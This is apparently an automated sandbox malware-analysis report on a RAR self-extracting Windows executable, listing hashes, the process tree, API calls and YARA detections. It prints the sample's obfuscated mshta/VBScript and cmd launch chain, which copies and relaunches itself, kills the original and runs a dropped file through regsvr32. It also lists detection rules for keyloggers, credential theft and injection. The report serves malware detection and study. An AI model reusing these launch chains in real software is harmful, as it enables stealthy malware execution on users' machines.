Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 5, 2021, 1:20 p.m.	April 5, 2021, 1:23 p.m.

Size	1.1MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
MD5	`beadf9b68de9852d44514425663cb3fd`
SHA256	`b2adb7baf9b81a3b22c14f5b6e661b99a9819c83a3aaf68b9e70590327aea819`
CRC32	`F5F5F18C`
ssdeep	`24576:4ny/f9u3nuZ2ToCitwBJSuhq5xgpyt70WxFUX32KnrCQEqpkZCOsE7F58lq/1jZW:BFWTkivS6qLuGFcBjbpkZhT2lqFZW`
PDB Path	d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb
Yara	escalate_priv - Escalade priviledges screenshot - Take screenshot win_registry - Affect system registries win_token - Affect system token win_files_operation - Affect private profile PE_Header_Zero - PE File Signature Zero OS_Processor_Check_Zero - OS Processor Check Signature Zero IsPE32 - (no description) IsWindowsGUI - (no description) IsPacked - Entropy Check HasOverlay - Overlay Check HasDebugData - DebugData Check HasRichSignature - Rich Signature Check

sfx_123_400.exe "C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"
2216
- mshta.exe "C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF """" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
  1756
  - cmd.exe "C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" ) do taskkill -Im "%~nxr" -F > NUl
    1460
    - PnN9X7~.exe PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc
      2932
      - mshta.exe "C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF ""/p9CkDrncOIjEyCJoKJOSPrvHhMc "" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
        1276
        
        cmd.exe "C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl
        604
      - regsvr32.exe "C:\Windows\System32\regsvr32.exe" -U /S 9ETO.DC
        2564
    - taskkill.exe taskkill -Im "sfx_123_400.exe" -F
      3060

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW April 5, 2021, 1:20 p.m.	computer_name: TEST22-PC	1	1	0

This executable has a PDB path (1 event)

pdb_path

d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 5, 2021, 1:20 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 85 events)

Time & API	Arguments	Status
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x736e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72a64000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72b61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72811000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x768d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74e21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x750f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74e51000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6ed81000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75241000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x732d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72751000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72a64000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72b61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72b21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72731000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73361000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72691000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72811000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x768d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74e21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x750f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x724d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x723c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72331000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75401000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x765b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72301000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 1756 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x722c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x765b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x736e1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72a64000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72aa2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72b61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72811000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 5, 2021, 1:20 p.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727e1000 process_handle: 0xffffffff	1

Creates a suspicious process (10 events)

cmdline	"C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	"C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	CMd.ExE /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	mShta vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF """" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	"C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF ""/p9CkDrncOIjEyCJoKJOSPrvHhMc "" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	mShta vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF ""/p9CkDrncOIjEyCJoKJOSPrvHhMc "" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	"C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF """" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	"C:\Windows\System32\regsvr32.exe" -U /S 9ETO.DC
cmdline	regsvr32.exe -U /S 9ETO.DC
cmdline	CMd.ExE /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" ) do taskkill -Im "%~nxr" -F > NUl

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\9ETO.DC

Executes one or more WMI queries (1 event)

wmi	SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "sfx_123_400.exe")

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW April 5, 2021, 1:20 p.m.	show_type: 0 filepath_r: CMd.ExE parameters: /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" ) do taskkill -Im "%~nxr" -F > NUl filepath: CMd.ExE	1	1	0
ShellExecuteExW April 5, 2021, 1:20 p.m.	show_type: 0 filepath_r: CMd.ExE parameters: /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl filepath: CMd.ExE	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 5, 2021, 1:20 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (50 out of 121 events)

url	http://crl.comodo.net/TrustedCertificateServices.crl0
url	http://users.ocsp.d-trust.net03
url	http://crl.ssc.lt/root-b/cacrl.crl0
url	http://crl.securetrust.com/STCA.crl0
url	http://crl.securetrust.com/SGCA.crl0
url	http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=
url	http://www.ssc.lt/cps03
url	http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0
url	http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAII.crl0
url	http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0
url	http://www.microsoft.com/pki/certs/TrustListPCA.crt0
url	https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0
url	http://www.pkioverheid.nl/policies/root-policy0
url	http://cps.chambersign.org/cps/chambersroot.html0
url	http://www.e-szigno.hu/SZSZ/0
url	http://www.entrust.net/CRL/Client1.crl0
url	http://crl.chambersign.org/publicnotaryroot.crl0
url	http://crl.comodo.net/AAACertificateServices.crl0
url	http://www.certplus.com/CRL/class3.crl0
url	http://logo.verisign.com/vslogo.gif0
url	http://www.acabogacia.org/doc0
url	http://www.disig.sk/ca/crl/ca_disig.crl0
url	https://www.catcert.net/verarrel
url	http://www.sk.ee/cps/0
url	http://www.quovadis.bm0
url	https://www.catcert.net/verarrel05
url	http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAI.crl0
url	http://crl.chambersign.org/chambersroot.crl0
url	http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAIII.crl0
url	http://crl.globalsign.net/root-r2.crl0
url	http://certificates.starfieldtech.com/repository/1604
url	http://www.d-trust.net0
url	http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0
url	http://crl.ssc.lt/root-a/cacrl.crl0
url	http://crl.usertrust.com/UTN-DATACorpSGC.crl0
url	http://www.certicamara.com/certicamaraca.crl0
url	http://www.d-trust.net/crl/d-trust_root_class_2_ca_2007.crl0
url	http://crl.usertrust.com/UTN-USERFirst-Object.crl0)
url	http://www.post.trust.ie/reposit/cps.html0
url	http://qual.ocsp.d-trust.net0
url	http://www2.public-trust.com/crl/ct/ctroot.crl0
url	http://www.certicamara.com0
url	http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
url	http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
url	http://www.comsign.co.il/cps0
url	http://crl.usertrust.com/UTN-USERFirst-NetworkApplications.crl0
url	http://www.microsoft.com/pki/crl/products/TrustListPCA.crl
url	http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0
url	http://www.signatur.rtr.at/de/directory/cps.html0
url	http://www.globaltrust.info0

Yara rule detected in process memory (50 out of 65 events)

description	Affect system registries	rule	win_registry
description	Affect system token	rule	win_token
description	Affect private profile	rule	win_files_operation
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Affect system registries	rule	win_registry
description	Affect system token	rule	win_token
description	Affect private profile	rule	win_files_operation
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Code injection with CreateRemoteThread in a remote process	rule	inject_thread
description	Create a windows service	rule	create_service
description	Create a COM server	rule	create_com_service
description	Communications over UDP network	rule	network_udp_sock
description	Listen for incoming communication	rule	network_tcp_listen
description	Communications over P2P network	rule	network_p2p_win
description	Communications over HTTP	rule	network_http
description	File downloader/dropper	rule	network_dropper
description	Communications over FTP	rule	network_ftp
description	Communications over RAW socket	rule	network_tcp_socket
description	Communications use DNS	rule	network_dns
description	Communication using dga	rule	network_dga
description	Escalade priviledges	rule	escalate_priv
description	Take screenshot	rule	screenshot
description	Run a keylogger	rule	keylogger
description	Steal credential	rule	cred_local
description	Record Audio	rule	sniff_audio
description	APC queue tasks migration	rule	migrate_apc
description	Malware can spread east-west file	rule	spreading_file
description	Malware can spread east-west using share drive	rule	spreading_share
description	Create or check mutex	rule	win_mutex
description	Affect system registries	rule	win_registry
description	Affect system token	rule	win_token
description	Affect private profile	rule	win_private_profile
description	Affect private profile	rule	win_files_operation
description	Match Winsock 2 API library declaration	rule	Str_Win32_Winsock2_Library
description	Match Windows Inet API library declaration	rule	Str_Win32_Wininet_Library
description	Match Windows Inet API call	rule	Str_Win32_Internet_API

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess April 5, 2021, 1:20 p.m.	status_code: 0x00000001 process_identifier: 2216 process_handle: 0x000001c4		0	0
NtTerminateProcess April 5, 2021, 1:20 p.m.	status_code: 0x00000001 process_identifier: 2216 process_handle: 0x000001c4	1	0	0

Uses Windows utilities for basic Windows functionality (9 events)

cmdline	taskkill -Im "sfx_123_400.exe" -F
cmdline	"C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	"C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	CMd.ExE /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl
